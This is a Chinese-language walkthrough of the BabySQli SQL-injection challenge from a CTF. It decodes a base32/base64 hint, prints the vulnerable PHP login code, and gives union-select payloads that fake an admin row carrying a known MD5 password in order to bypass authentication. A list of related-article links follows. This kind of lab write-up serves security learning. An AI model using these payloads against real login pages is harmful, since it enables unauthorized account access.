进入题目一个登录框

对登录框做了一些常规的sql注入和fuzz发现都无果。然后在等级登录后跳转的search.php页面查看源代码发现一段编码。

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

发现其是一段base32编码,解码后发现又是一段base64编码。

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

然后base64解码

select * from user where username = '$name'

所以知道了sql语句为select * from user where username = '$name',然后用联合查询进行测试字段数。

两个字段发现报错

三个字段不报错,证明sql查询一共又三个字段。

根据提示可以知道是pass密码错误,所以是又admin这个账号的,那我们接下来测试用户这个字段到底在哪一个字段当中。

测试1' union select 'admin',2,3#发现user错误

测试1' union select 1,'admin',3#,发现是pass密码错误,所以知道第2个字段为user字段

然后这里卡了好久,不知到search.php到底是怎么写的,然后直接看了下search.php的源代码,做题的时候源代码应该是看不到的,这里是buuctf为标明题目出处放在这的。

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";// 去除转义
if (get_magic_quotes_gpc()) {function stripslashes_deep($value){$value = is_array($value) ?array_map('stripslashes_deep', $value) :stripslashes($value);return $value;}$_POST = array_map('stripslashes_deep', $_POST);$_GET = array_map('stripslashes_deep', $_GET);$_COOKIE = array_map('stripslashes_deep', $_COOKIE);$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
$result = mysqli_query($con, $sql);if(preg_match("/\(|\)|\=|or/", $name)){die("do not hack me!");
}
else{if (!$result) {printf("Error: %s\n", mysqli_error($con));exit();}else{$arr = mysqli_fetch_row($result);if($arr[1] == "admin"){if(md5($password) == $arr[2]){echo $flag;}else{die("wrong pass!");}}else{die("wrong user!");}}
}?>

然后发现password有被MD5进行加密,他喵的,这题目出的,一点提示也没有。

if($arr[1] == "admin"){if(md5($password) == $arr[2]){echo $flag;}else{die("wrong pass!");}
}
else{die("wrong user!");

知道了MD5加密了password后,那就是将查询出来的passwd和输入的密码的md5值比较,相等则登录得到flag不相等则wrong pass。

就是我们的sql语句执行时,password字段中的内容要==md5(我们密码栏输入的password)。接下里就是要绕过密码的md5验证,需要把我们输入的值和数据库里面存放的用户密码的md5值进行比较,那要怎么绕过呢?可以用联合查询语句用来生成虚拟的表数据。

学到了联合注入有个技巧。在联合查询并不存在的数据时,联合查询就会构造一个 虚拟的数据。 举个例子:

最初users表中只有一行数据,

我们通过union select查询就可以构造一行虚拟的数据,

如上图,我们在users表中利用联合查询创建了一行虚拟的数据。

我们的思路就来了,我们可以利用联合查询来创建一行admin账户的续集数据,混淆admin用户的密码,将我们自定义的admin用户的密码(123)加进去,这样我们不就可以登录admin用户了吗。

在用户名登录框输入1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#其中202cb962ac59075b964b07152d234b70为123的MD5值,然后在密码登录框中输入123即可登录。

原文于:https://www.cnblogs.com/sfsec/p/15215102.html

[GXYCTF2019]BabySQli相关推荐

  1. BUUCTF [GXYCTF2019]BabySQli 1

    刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!# 打开容器 就单单两个输入栏,,多少有点简陋 看标签叫Do you know who am I?看来是要用,先用万能 ...

  2. BUUCTF | [GXYCTF2019]BabySQli

    BUUCTF | [GXYCTF2019]BabySQli 一.必备基础知识 当=号被过滤了使用like,rlike绕过 当or被过滤了使用大小写绕过,双写绕过,&&绕过 二.实战化渗 ...

  3. 【buu平台】[GXYCTF2019]BabySQli

    [buu平台][GXYCTF2019]BabySQli 查看页面源代码发现search.php,文件中有一段base32编码 [base32是由大写字母和数字构成,其结尾有三个等号,base64由大小 ...

  4. buuctf [GXYCTF2019]BabySQli

    今日份习题 名字叫babysqli 主界面是一个登陆页面,看起来好像不难的亚子 开搞! 通过尝试发现or,=,()都被过滤了 输入的时候,一个是wrong user,一个是wrong pass,尝试抓 ...

  5. buuctf [GXYCTF2019]BabySQli

    常规sql注入都行不通,查看源码发现一个search.php, 先说说base32 和 base64 的区别, base32 只有大写字母和数字数字组成,或者后面有三个等号. base64 只有大写字 ...

  6. [ buuctf GXYCTF2019]BabySQli

    输入账户 密码 后查看源代码 MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VS ...

  7. BUUCTF之[GXYCTF2019]BabySQli

    题目 这题看到这个页面,而且题目上说的.给人的感觉就是个SQL注入题.... 启动BurpSuite抓包看看 有两个可疑点: 一是报用户错误(wrong user!),通常如果有这种错误的时候要先爆破 ...

  8. BUUCTF——[GXYCTF2019]BabySQli

    文章目录 利用点 解题 分析 完 利用点 SQL字符型注入 UNION SELECT联合查询特性 解题 search.php的注释发现hint <!--MMZFM422K5HDASKDN5TVU ...

  9. BUUCTF[GXYCTF2019]BabySQli

    SQL注入题型,在进行了自己的一些测试发现,用户名存在admin,我们F12看看源码: <meta http-equiv="Content-Type" content=&qu ...

最新文章

  1. html文字随机变色效果,html肿么让字体得到随机颜色
  2. Java并发编程之介绍
  3. DVWA学习(二)SQL Injection(Blind)
  4. 进击的YOLOv3,目标检测网络的巅峰之作 | 内附实景大片
  5. java对cpu线程的要求_java-CPU份额对线程有什么影响
  6. 电脑计算机d盘有用吗,d盘不见了,教您电脑d盘不见了怎么解决
  7. [摘抄] 资深软件项目经理/产品经理“扯皮技巧”汇总(新手入坑必读,不定期更新)...
  8. hadoop 3.x 配置历史服务器
  9. 《mysql必知必会》学习_第八章_20180730_欢
  10. spring的IOC——依赖注入的两种实现类型
  11. 利用kali自带的msfvenom工具生成远程控制软件(木马)
  12. mysql计算环比增长率
  13. 子目录和子域名哪个好?子目录和子域名如何利用seo优化?
  14. 自动化测试框架rf(Robot Framework)的安装
  15. 小Biu的区间和——UPC
  16. js删除数组中指定对象
  17. Windows睡眠,CPU风扇仍然运转的问题
  18. 安卓APP开发之工程构建
  19. 关于iPhone X下Home Indicator(白条)的隐藏和延迟响应
  20. mac DBeaver连接mysql 驱动失败问题

热门文章

  1. echarts:在vue中使用渐变色
  2. html实现爱情浪漫表白甜蜜时刻(附源码)
  3. 重复字符串的处理问题
  4. MongoDB之查询文档
  5. 软件设计模式与体系结构实验——3.1-1组合模式的应用
  6. mac下安装使用switchyomega
  7. beyond compare 4官方中文版下载
  8. 解决linux上耳机没有声音
  9. Python backtrader回测之布林带策略
  10. perp系列之四:perp下载